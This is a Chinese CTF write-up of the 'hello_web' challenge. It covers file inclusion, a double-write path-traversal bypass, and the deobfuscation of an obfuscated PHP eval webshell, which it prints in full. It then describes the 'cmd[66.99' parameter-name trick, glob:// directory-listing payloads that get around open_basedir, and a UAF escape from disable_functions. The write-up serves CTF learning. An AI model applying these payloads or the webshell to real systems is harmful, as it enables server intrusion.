题解

题目名称为:hello_web 访问界面如下:

alt text

在 URL 传入的 file 参数可以猜测出可能考察的是文件包含,同时页面存在 base64 编码,进行解码,内容如下:

1
echo -n SSd2ZSBsZXQgeW91IGlnbm9yZSB0aGlzIHBhcmFncmFwaC4= |base64 -d

alt text

即 “我让你忽略这一段”

接着查看页面源代码:

alt text

提示两个文件,让那个是进行包含:

alt text

发现显示之后就进行了 302 跳转,于是使用 burpsuite 进行抓包查看:

alt text

发现什么都没有,接着查看第二个文件:

alt text

发现提示依旧,这里我们访问主页,即包含的 hello.php 文件:

alt text

发现存在提示,不过进行了 HTML 实体编码,我们进行解码:

alt text

发现为 include.php,我们直接访问查看:

alt text

发现提示 404,尝试在 index.php 中使用文件包含伪协议:

alt text

php://inputdata://file://http:// 都不可以,但是可以使用 zip://phar:// 发现可以使用,但是该题目并没有上传文件的入口,故而无法使用。

alt text

尝试包含 /etc/passwd 文件,但是题目肯定没有那么简单:

alt text

发现没有任何响应,最终我们直接访问 hackme.phptips.php

alt text

alt text

发现和通过 ?file=../tips.php 以及 ?file=../hackme.php 和直接访问文件的结果一致,那么就证明,../ 并没有起到作用。

那么这里尝了双写绕过:

alt text

发现了 phpinfo 页面,接着使用相同的方法访问 hackme.php

alt text

发现为 php 代码,我们直接在页面访问,源码如下:

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>

通过对内容进行变量 $lapUCm 进行url解码为 n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j 通过全局内容进行查看,疑似 PHP 混淆加密。

这里参阅了文章: https://forum.butian.net/share/1476

对混淆代码进行解密,其实就是将代码中的 eval 换成了 echo,输出源码如下:

alt text

将输出的内容替换到源代码中的整条 eval 语句:

alt text

接着将 eval 换成 echo 进行输出,最终输出的代码,则为实际的 PHP 代码:

alt text

发现为 一句话木马,但是由于存在小数点,不能直接连接:

alt text

我们本地测试一下:

1
2
3
4
5
<?php 
var_dump($_POST);
echo $_POST['cmd_66.99'];
@eval($_POST['cmd_66.99']);
?>

alt text

这里可以发现,由于参数中带有小数点,当我们传参 cmd_66.99 时,实际上传入的是 cmd_66_99 也就是将特殊字符转为了 _ 处理,但是代码中接收的是 cmd_66.99,导致无法正常执行,需要进行绕过,结合前面出现的 phpinfo 页面,可以基本得知,这里可能考的是 PHP 特性。

于是进行了一顿查找,最终在如下文章中找到答案:

https://blog.csdn.net/mochu7777777/article/details/115050295

alt text

最终我们只需要将 cmd_66.99 改为 cmd[66.99 即可,即可正常执行命令。

这里我还特意使用了 phpinfo() 页面进行测试:

alt text

发现确实接收的参数为 cmd_66.99,于是配合文件包含进行利用一句话木马即可:

alt text

发现成功利用代码,后续我们要获取 FLAG,尝试执行命令执行函数,发现执行失败,猜测有函数禁用。

alt text

发现禁用了一系列函数,但是没有禁用文件读取相关的函数,于是我们尝试读取文件:

alt text

发现执行失败,尝试读取当前页面的 index.php【因为我猜测可能有open_basedir 限制】:

alt text

alt text

发现成功读取,因此可能存在 open_basedir 接着去 phpinfo 页面证实:

alt text

发现只允许读取 /proc/tmp/var/www/html 的内容,由于无法执行系统命令,那么我们通过 glob 协议列出目录:

alt text

参考文章:https://xz.aliyun.com/t/10070

PAYLOAD 如下:

1
2
3
4
cmd[66.99=$a = new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->__toString().'<br>');
}

alt text

但是这里并没有 FLAG,当时还尝试读取网站根目录下内容,发现也无相关的 FLAG:

1
2
3
4
cmd[66.99=$a = new DirectoryIterator("glob:///var/www/html/*");
foreach($a as $f){
echo($f->__toString().'<br>');
}

alt text

后来,发现可以直接使用蚁剑进行列出目录…

alt text

alt text

进行了一顿文件查找,发现没有 flag 相关的,于是决定执行 find 命令查找:

alt text

由于函数禁用,无法执行命令。

alt text

这里尝试了很多方法,均无法使用,最终使用了 UAF 成功执行命令

alt text

alt text

alt text

一些思考

9点开始比赛,在10点30获取了权限,由于无法执行系统命令,在找 FLAG 浪费了一点时间。最后提交 FLAG 时,就有 29 个队伍解出(本来可以再早一点提交)。

如果自己平时多刷一点 web 类型的题目,应该很快将题目解出吧,每次参加这个比赛都会有新的收获!所以对 CTF 还缺乏比赛经验和平时学习。